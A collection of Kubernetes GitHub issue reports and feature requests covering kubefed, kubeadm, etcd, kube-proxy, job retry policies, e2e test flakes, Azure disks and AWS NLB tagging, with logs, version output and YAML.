\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r when i run  kubefed init  to deploy federation control plane in host cluster, some error happened. after i fixed the error and run  kubefed init  again, it throws error like \ service account already exist\  or \ federation-system namespace already exist\ .\r \r   what you expected to happen  :\r  kubefed init  should continue if related resource is already existed in host cluster. or we expect a  --force  flag to force overwrite previous setting of federation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create federation-system namespace in host cluster.\r 2. run  kubefed init .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r the apiserver does not clean up after itself when it does a controlled shutdown.  this means things like the internal kubernetes service endpoints still contain the ip information for an apiserver that no longer exists.  the system will eventually rectify the situation, but until that occurs there can still be service disruption  ie dns lookups  that need not occur.  if the apiserver goes through a controlled shutdown then it should clean up after itself, like de-registering from the internal kubernetes service.

refactor rbd volume persistent volume spec so rbd pv's secretref\r allows referencing a secret from a persistent volume in any namespace.\r this allows locating credentials for persistent volumes in namespaces\r other than the one containing the pvc.\r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r    \r \r   what happened  :\r i used kubeadmin to create a k8s cluster,  every thing seems ok by etcdctl.  such as \r \r    \r  kubectl get pods --all-namespaces\r namespace     name                                       ready     status    restarts   age\r kube-system   calico-etcd-4qf2z                          1/1       running   0          1d\r kube-system   calico-kube-controllers-55449f8d88-rmhs5   1/1       running   0          1d\r kube-system   calico-node-4lzm8                          2/2       running   0          1d\r kube-system   calico-node-m2796                          2/2       running   4          1d\r kube-system   etcd-kube-master                           1/1       running   0          1d\r kube-system   kube-apiserver-kube-master                 1/1       running   0          1d\r kube-system   kube-controller-manager-kube-master        1/1       running   0          1d\r kube-system   kube-dns-545bc4bfd4-n8mpx                  3/3       running   0          1d\r kube-system   kube-proxy-fxrls                           1/1       running   0          1d\r kube-system   kube-proxy-qzzm5                           1/1       running   1          1d\r kube-system   kube-scheduler-kube-master                 1/1       running   0          1d\r kube-system   kubernetes-dashboard-747c4f7cf-fjjvl       1/1       running   0          1d\r    \r \r \r \r but i can not get etcd date by etcdctl from etcd-kube-master   pod :\r and set etcdctl_api=3 or 2 seems no effect：\r \r    \r  kubectl exec etcd-kube-master --namespace=kube-system  -i -t -- etcdctl get registry  \r          \r error:  100: key not found  /registry   5 \r command terminated with exit code 4\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r now, benchmark test make docker as the only runtime.\r \r   what you expected to happen  :\r benchmark test should be generic to all cri container runtimes\r related to  57977\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > \r \r   what happened  :\r there is a deployment with 3 replicas which has readinessprobe configured to get at 80 port. after deploy our uwsgi server failed to start, and readinessprobe is failed with 502. in dashboard i noticed that there were 3 old pods which were working, and one newly created pod that failed a readinessprobe. in service  aws load balancer  i noticed that 3 old endpoints were removed and one is added, which leads to broken pod, so our website was down and returned 503 error. \r \r   what you expected to happen  :\r as readinessprobe failed for newly created set of pods - endpoints should not be added and traffic must not go to the broken pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.10\ , gitcommit:\ bebdeb749f1fa3da9e1312c4b08e439c404b3136\ , gittreestate:\ clean\ , builddate:\ 2017-11-03t16:31:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r debian 8.9\r - kernel  e.g.  uname -a  :\r linux ip-172-20-124-7 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r - install tools:\r kops\r - others:\r

is it safe to allow anyone to exec any command?\r \r https://github.com/kubernetes/kubernetes/blob/a5550441252802dcedf90181b425a84cd87b3b3e/test/images/netexec/netexec.go l266

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-serial\r \r   which test s  are failing  :\r  sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial  should work after update\r \r   since when has it been failing  :\r since the tests were added in https://github.com/kubernetes/kubernetes/pull/70578\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/4399\r \r   reason for failure  :\r pd controller statefulset unable to come up due to missing secret:\r    \r nov 28 16:18:19.299: info: at 2018-11-28 16:13:18 +0000 utc - event for csi-gce-pd-controller-0: {kubelet bootstrap-e2e-minion-group-7cdj} failedmount: mountvolume.setup failed for volume \ cloud-sa-volume\  : secret \ cloud-sa\  not found\r    \r \r @kubernetes/sig-storage-test-failures \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r in ipv6 ha cluster 3 masters with single vip ,after reboot one master,the kube-proxy on this mster print error logs:\r e0814 18:20:56.733818     227 proxier.go:1306  failed to execute iptables-restore: exit status 2  ip6tables-restore v1.6.2: couldn't load target  kube-mark-drop':no such file or directory\r this information is the same as  67398,but we deploy ingress instead of lb.is kube-proxy use ipv4 rule to be restored in ipv6 cluster casing this problem?\r \r   what you expected to happen  :\r after node reboot, the kube-proxy on this node restore iptable rules success.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 3master ha cluster\r deploy ingress service\r reboot one master node\r notice: i haven't found the final reason,so now ,the problem occasionally happens.\r \r   anything else we need to know?  :\r  67398\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.11.5\r - cloud provider or hardware configuration:\r kvm vms \r - os  e.g. from /etc/os-release :\r centos 7.5\r - kernel  e.g.  uname -a  :\r - install tools:\r none\r - others:\r

i've configured coreos cluster using kubernetes v1.0 binaries.  once kubelet is running on worker node it seems it watches for events inside  /sys/fs/cgroup/cpu,cpuacct/system.slice/  directory.  steps to reproduce:      sh mkdir /sys/fs/cgroup/cpu,cpuacct/system.slice/123      it will generate following logs:      aug 06 16:36:29 k8s-node-1 dockerd 726 : no such id: 123 aug 06 16:36:29 k8s-node-1 dockerd 726 : time=\ 2015-08-06t16:36:29z\  level=error msg=\ handler for get /containers/{name:. }/json returned error: no such id: 123\  aug 06 16:36:29 k8s-node-1 dockerd 726 : time=\ 2015-08-06t16:36:29z\  level=error msg=\ http error: statuscode=404 no such id: 123\       if i stop kubelet - such error messages doesn't appear.  /cc @kelseyhightower

when running kubernetes locally using docker  http://kubernetes.io/docs/getting-started-guides/docker/  if i try to visit   http://localhost:8080/ui  i get redirected to   http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard  and that shows an error page with the following text:      {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ endpoints \\\ kubernetes-dashboard\\\  not found\ ,   \ reason\ : \ notfound\ ,   \ details\ : {     \ name\ : \ kubernetes-dashboard\ ,     \ kind\ : \ endpoints\    },   \ code\ : 404 }      if i visit the url   http://localhost:8080/api/v1/proxy/namespaces/default/services/kubernetes-dashboard  the dashboard appears correctly.   my understanding is that ui is expecting the namespace to be  kube-system   https://github.com/kubernetes/kubernetes/blob/master/pkg/ui/installsupport.go l28  but the default namespace for hyperkube is  default   https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/options/options.go l89

forked from https://github.com/kubernetes/kubernetes/pull/23684 ...  there are debate over that pr on system automatically publishs the fields in nodestatus.nodesysteminfo. i don't fully understand the concern, but in my opinion, the advantage of publishing those labels will help debugging and analyzing the issues related to different osimage, runtimeversion, kubeletversion, etc. especially for a large cluster  > 100 nodes .   cc/ @bgrant0607 @thockin @davidopp @vishh

a max number of failures or failure backoff policy for jobs would be useful.  imagine you have an etl job in production that's failing due to some pathological input. by the time you spot it, it's already been rescheduled thousands of times. as an example, i had 20 broken jobs that kept getting rescheduled; killing them took forever -- and crashed the kubernetes dashboard in the process.  today, \ restartpolicy\  is not respected by jobs because the goal is to achieve successful completion.  strangely, \ restartpolicy: never\  is still valid yaml.  this means failed jobs keep getting rescheduled. when you go to delete them, you have to delete all the pods they've been scheduled on. deletes are rate limited, and in v1.3+, the verbose \ you're being throttled\  messages are hidden from you when you run the  kubectl  command to delete a job. so it just looks like it's taking forever! this is not a pleasant ux if you have a runaway job in prod or if you're testing out a new job and it takes minutes to clean up after a broken test.  what are your thoughts on specifying a maximum number of failures/retries or adding a failure backoff restart policy?   cc @thockin , who  suggested i file this feature request  https://twitter.com/zazius/status/758816688171126784    ---  ninja edit:  per this so thread  http://stackoverflow.com/questions/35141607/is-there-a-max-retries-for-kubernetes-jobs , the throttling issue is avoidable by using the onfailure restart policy to keep rescheduling to the same pods, rather than to new pods -- i.e. this prevents the explosion of the number of pods. and deadlines can help weed out failures after a certain amount of time.  however, suppose my etl job takes an hour to run properly but may fail within seconds if the input data is bad. i'd rather specify a maximum number of retries than a high deadline.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/320/  failed:  k8s.io  downward api volume should update labels on modification  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:109 timed out after 120.001s. expected     <string>: content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\      content of file \ /etc/labels\ : key1=\ value1\      key2=\ value2\       to contain substring     <string>: key3=\ value3\       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:108       previous issues for this test:  28416  31055  33627  33725  34206

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/771/ failed: dumpclusterlogs {e2e.go}      signal: interrupt       previous issues for this test:  33722  37578  38206  40455

\r   kubernetes version    use  kubectl version  :\r \r kube 1.6.1\r \r \r \r   what happened  :\r \r atm, glusterfs dynamic provisioner does not allow or provide an option to customize the volume name.  there should be an option to take user input and create volumes based on  user suggestion.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r mount failed unexisted secret serviceaccount\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r calico node daemonset of self-hosted mode.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r v1.6.1\r \r   environment  :\r -   cloud provider or hardware configuration  : x86_64\r -   os    e.g. from /etc/os-release : distrib_description=\ ubuntu 16.04.1 lts\ \r -   kernel    e.g.  uname -a  : linux 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : ansible\r -   others  :\r \r \r   what happened  :\r i have deployed a kubernetes cluster with kube-apiserver, kube-controller-manager, kube-scheduler and kube-proxy deployed as static pod. then set up calico network with self-hosted mode. everything works fine.\r \r but when i restart docker engine of my master node, calico node pod cannot be started because it tries to mount a default serviceaccount secret which does not exist. i found out kube-controller-manager will re-create secret for each serviceaccount in each namespace after restart. but pod of daemonset like calico node did not sync up and replaced with new created secret. that might be a race condition problem. \r \r   what you expected to happen  :\r all pod can start successfully after restart docker engine.\r \r   how to reproduce it    as minimally and precisely as possible :\r just restart docker engine of master node. it seems not reproducible every time. i think it might be a race condition problem.\r \r   anything else we need to know  :\r none.\r

there seems to be 2 kinds of flakes:\r - failing cluster startup\r - failing load/density tests\r \r my suspicion is that something changed around test-infra and k8s-side changes weren't backported to the release branches.\r will take a look into it on monday.\r \r failing jobs:\r https://k8s-testgrid.appspot.com/google-gce-scale gce-1.6\r https://k8s-testgrid.appspot.com/google-gce-scale gce-1.7\r https://k8s-testgrid.appspot.com/google-gce-scale gci-gce-1.6\r https://k8s-testgrid.appspot.com/google-gce-scale gci-gce-1.7\r \r cc @kubernetes/sig-scalability-bugs @wojtek-t @gmarek

 \r it would be beneficial to have the hyperkube code available to other kubernetes projects. the kubernetes-incubator/service-catalog project recently added the hyperkube code so that its apiserver and controller-manager could be run from the same binary. it would be nice if the same code could be shared by kubernetes/kubernetes and kubernetes-incubator/service-catalog rather than having to duplicate the code. perhaps some other projects might be also use hyperkube if it were more easily consumable, as well.

capturing conversation with @bgrant0607 just now.  new feature for kubectl: when you run  kubectl rollingnodeupdate --exec myprogram --success_label=k3=v3 --fail_label=k4-v4 --selector k1=v1,k2=v2 , then it would do this:      for each node matching the selector and not matching success_label or fail_label:    cleanly remove the node    exec myprogram with env vars set like kube_node_name=nodename    depending on the return code of myprogram, do one of the following:      set success_label on the node and return the node to service      set failed_label and don't retry the node and do return it to service.      set failed_label and don't retry the node, and do not return it to service.      set no label and retry the node and do return it to service.      set no label and retry the node, and do not return it to service.      this cleanly separates the problem of taking a node in and out  which kubectl should know about  from what you might do to a node once it is removed.  things you might do when it is removed include making salt/chef/puppet update the node, reboot the node, delete the node, power it down and wait for a human to touch it, etc.  the clean removal steps are documented in docs/cluster_management.md under  maintenance on a node .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r in a customer  case  https://github.com/azure/acs-engine/issues/1918 , customer is unable to use azure disk in statefulset since /dev/sd  changed after detach/attach disk. \r currently we are using  /dev/sd   to reference the data disk which could be changed in some condition, see code: https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_dd/azure_common_linux.go l140\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create 5 statefulset with 1 replica and 1 azure disk mount each\r 2. delete 1 statefulset and recreate the same statefulset \r 3. there would be azure disks could not be usable since /dev/sd  changed\r update:\r it seems that on azure china, this issue could repro very easily.\r \r   anything else we need to know?  :\r i have checked the official doc:  troubleshoot linux vm device name change  https://docs.microsoft.com/en-us/azure/virtual-machines/linux/troubleshoot-device-names-problems \r  device names could be changed after you restart a linux vm or reattach the data disks \r \r   environment  :\r - kubernetes version  use  kubectl version  : from v1.6.0 to v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r \r @rootfs @brendandburns @khenidak\r @kubernetes/sig-azure-misc \r i am working on a fix for this issue, would use  /dev/disk/by-id/  instead  of  /de/sd

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r \r we created a loadbalancer service with type 'nlb' with two listeners forwarding traffic on two different ports. the service was created correctly along with the target groups and was functionning correctly.\r \r around 20 hours later, no traffic was flowing from clients to any k8s nodes. while troubleshooting we discovered that the k8s node instance security group was lacking the input rules allowing traffic to the node ports for this lb.\r \r we deleted the service and recreated it. the service started working normally again, but we found out that the two target groups were missing their k8s tags. \r \r the logs contain the following error:\r ~~~\r e0129 14:47:01.381032       1 service_controller.go:219  error processing service scalable/pr-testing  will retry : failed to ensure load balancer for service scalable/pr-testing: error adding tags after modifying load balancer targets: \ validationerror: only one resource can be tagged at a time\ \\tstatus code: 400, request id: bc7a47eb-23d4-11e9-9920-b76ff2fbca55\ \r i0129 14:47:01.381136       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ scalable\ , name:\ pr-testing\ , uid:\ b84f1aaf-23d4-11e9-8b3c-0a73252851de\ , apiversion:\ v1\ , resourceversion:\ 120452349\ , fieldpath:\ \ } : type: 'warning' reason: 'creatingloadbalancerfailed' error creating load balancer  will retry : failed to ensure load balancer for service scalable/pr-testing: error adding tags after modifying load balancer targets: \ validationerror: only one resource can be tagged at a time\ \\tstatus code: 400, request id: bc7a47eb-23d4-11e9-9920-b76ff2fbca55\ \r ~~~\r \r   what you expected to happen  :\r \r we expected the nlb target groups to have k8s tags, so that k8s could remember it created them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a k8s service with nlb:\r ~~~yaml\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-cross-zone-load-balancing-enabled: \ true\ \r     service.beta.kubernetes.io/aws-load-balancer-healthcheck-interval: \ 300\ \r     service.beta.kubernetes.io/aws-load-balancer-type: nlb\r   labels:\r     app: pr-testing\r   name: pr-testing\r spec:\r   externaltrafficpolicy: cluster\r   ports:\r   - name: non-ssl\r     port: 2345\r     protocol: tcp\r     targetport: 2345\r   - name: ssl\r     port: 2445\r     protocol: tcp\r     targetport: 2445\r   selector:\r     app: pr-testing\r   sessionaffinity: none\r   type: loadbalancer\r ~~~\r \r add a simple deployment that is matched by this service.\r \r   anything else we need to know?  :\r \r looking at aws cloudtrail we could see the following error event:\r ~~~json\r {\r     \ eventversion\ : \ 1.05\ ,\r     \ useridentity\ : {\r        // elided for security reasons\r     },\r     \ eventtime\ : \ 2019-01-29t14:47:01z\ ,\r     \ eventsource\ : \ elasticloadbalancing.amazonaws.com\ ,\r     \ eventname\ : \ addtags\ ,\r     \ awsregion\ : \ us-east-1\ ,\r     \ sourceipaddress\ : \ 34.201.38.207\ ,\r     \ useragent\ : \ aws-sdk-go/1.12.7  go1.9.3; linux; amd64 \ ,\r     \ errorcode\ : \ validationexception\ ,\r     \ errormessage\ : \ only one resource can be tagged at a time\ ,\r     \ requestparameters\ : {\r         \ tags\ :  \r             {\r                 \ value\ : \ kubernetes\ ,\r                 \ key\ : \ kubernetescluster\ \r             },\r             {\r                 \ value\ : \ owned\ ,\r                 \ key\ : \ kubernetes.io/cluster/kubernetes\ \r             },\r             {\r                 \ value\ : \ scalable/pr-testing\ ,\r                 \ key\ : \ kubernetes.io/service-name\ \r             }\r          ,\r         \ resourcearns\ :  \r             \ arn:aws:elasticloadbalancing:us-east-1:158809441554:targetgroup/k8s-tg-67535809ebce3-2345-30034/8051fd2606c91a15\ ,\r             \ arn:aws:elasticloadbalancing:us-east-1:158809441554:targetgroup/k8s-tg-67535809ebce3-2445-31527/f32c335558de58e7\ \r          \r     },\r     \ responseelements\ : null,\r     \ requestid\ : \ bc7a47eb-23d4-11e9-9920-b76ff2fbca55\ ,\r     \ eventid\ : \ ec99d2d9-c6be-419c-93e1-eeb7dc81a13a\ ,\r     \ eventtype\ : \ awsapicall\ ,\r     \ apiversion\ : \ 2015-12-01\ ,\r     \ recipientaccountid\ : \ 158809441554\ \r }\r ~~~\r \r so the  addtags  api request was called with two resource arns, which is confirmed by the code:\r https://github.com/kubernetes/kubernetes/blob/30ed3b41b7b080cf37639371726a445032d5ef29/pkg/cloudprovider/providers/aws/aws_loadbalancer.go l309-l312\r \r since we have two target groups, there are two resources to tag.\r except that the aws api while allowing to send more than one resource arns doesn't allow it returning a validation error.\r \r this could be solved by doing one  addtags  per target groups.\r \r note that this can't happen on a classic lb because there's no target groups.\r \r i believe that those missing tags on the target groups are the root cause of the deletion of the security group rules allowing traffic to reach the nodeports, with this  hypothetical and unproved  scenario:\r \r 1. k8s creates the target groups, the nlb, the listeners, the sg input rules\r 2. k8s fails to tag the target groups, but doesn't rollback anything\r 3. in a subsequent convergence loops, k8s notices that there are two k8s-managed security group input rules, but those don't match any target groups or match target groups that are not managed by k8s  because they don't have the owner tags \r 4. k8s deletes those rules\r \r unfortunately we don't see the rule deletion in the controller manager logs, but it appears in cloudtrail:\r ~~~json\r {\r     \ eventversion\ : \ 1.05\ ,\r     \ useridentity\ : {\r        // elided for security reasons\r     },\r     \ eventtime\ : \ 2019-01-29t10:18:48z\ ,\r     \ eventsource\ : \ ec2.amazonaws.com\ ,\r     \ eventname\ : \ revokesecuritygroupingress\ ,\r     \ awsregion\ : \ us-east-1\ ,\r     \ sourceipaddress\ : \ 34.201.38.207\ ,\r     \ useragent\ : \ aws-sdk-go/1.12.7  go1.9.3; linux; amd64 \ ,\r     \ requestparameters\ : {\r         \ groupid\ : \ sg-b6c7efcc\ ,\r         \ ippermissions\ : {\r             \ items\ :  \r                 {\r                     \ ipprotocol\ : \ tcp\ ,\r                     \ fromport\ : 32443,\r                     \ toport\ : 32443,\r                     \ groups\ : {},\r                     \ ipranges\ : {\r                         \ items\ :  \r                             {\r                                 \ cidrip\ : \ 10.16.0.0/16\ ,\r                                 \ description\ : \ kubernetes.io/rule/nlb/health=a9acb96a5230711e98bec125cb496f33\ \r                             }\r                          \r                     },\r                     \ ipv6ranges\ : {},\r                     \ prefixlistids\ : {}\r                 },\r                 {\r                     \ ipprotocol\ : \ tcp\ ,\r                     \ fromport\ : 30346,\r                     \ toport\ : 30346,\r                     \ groups\ : {},\r                     \ ipranges\ : {\r                         \ items\ :  \r                             {\r                                 \ cidrip\ : \ 10.16.0.0/16\ ,\r                                 \ description\ : \ kubernetes.io/rule/nlb/health=a9acb96a5230711e98bec125cb496f33\ \r                             }\r                          \r                     },\r                     \ ipv6ranges\ : {},\r                     \ prefixlistids\ : {}\r                 }\r              \r         }\r     },\r     \ responseelements\ : {\r         \ requestid\ : \ 3ed62fec-3e79-4be5-a302-33b139afa49d\ ,\r         \ _return\ : true\r     },\r     \ requestid\ : \ 3ed62fec-3e79-4be5-a302-33b139afa49d\ ,\r     \ eventid\ : \ e5c573fa-e68d-4e7f-897f-560ec9ee1008\ ,\r     \ eventtype\ : \ awsapicall\ ,\r     \ recipientaccountid\ : \ 158809441554\ \r }\r ~~~\r \r let me know if you have any questions,\r \r   environment  :\r - kubernetes version: 1.10.7\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos 1967.3.0\r - kernel  e.g.  uname -a  : linux 4.14.88-coreos\r - install tools: home grown\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r \r  kubeadm init phase upload-certs --experimental-upload-certs   as documented  here  https://kubernetes.io/docs/setup/independent/high-availability/ stacked-control-plane-and-etcd-nodes   reports this:\r \r > storing the certificates in configmap \ kubeadm-certs\  in the \ kube-system\  namespace\r \r \r but certificates are actually stored in a secret  not configmap  by that name and in that namespace. the message printed by kubeadm should be changed accordingly.\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.1\r - cloud provider or hardware configuration: n/a\r - os  e.g:  cat /etc/os-release  : debian\r - install tools: kubeadm

